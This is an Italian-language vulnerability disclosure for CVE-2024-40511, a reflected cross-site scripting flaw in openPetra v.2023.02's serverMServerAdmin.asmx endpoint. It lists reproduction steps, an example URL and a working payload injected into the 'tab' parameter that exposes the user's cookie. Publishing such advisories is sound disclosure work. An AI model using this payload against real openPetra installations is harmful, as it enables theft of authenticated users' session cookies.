CVE-2024-40511

Vulnerabilità di Cross Site Scripting in openPetra v.2023.02 tramite la funzione serverMServerAdmin.asmx.

Descrizione: Un utente non autenticato può rubare i cookie di un utente autenticato, sfruttando una XSS in openPetra v.2023.02 tramite la funzione serverMServerAdmin.asmx.

Versione del prodotto vulnerabile: openPetra v.2023.02
Autore CVE: Jansen Moreira Data: 13/07/2024
CVE: CVE-2024-40511
Link CVE: https://www.cve.org/CVERecord?id=CVE-2024-40511
Link NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-40511
Link Tenable: https://www.tenable.com/cve/CVE-2024-40511
Confermato il: 13/07/2024
Testato su: Linux

Passaggi per riprodurre:

1- Accedi alla pagina principale
2- Usa il seguente percorso e aggiungi il payload xss nel parametro tab. ES.: http://target.com/api/serverMServerAdmin.asmx?bnd=TMServerAdminWebServiceSoap&op=TServerAdminWebService_LoginServerAdmin&page=op&tab=x" onmouseover=alert(document.cookie) x="
3- Passa il mouse sopra l'elemento dell'indice a sinistra per attivare la XSS

Payload:
tab: x" onmouseover=alert(document.cookie) x="

Scopritore(i)/Crediti: Jansen Moreira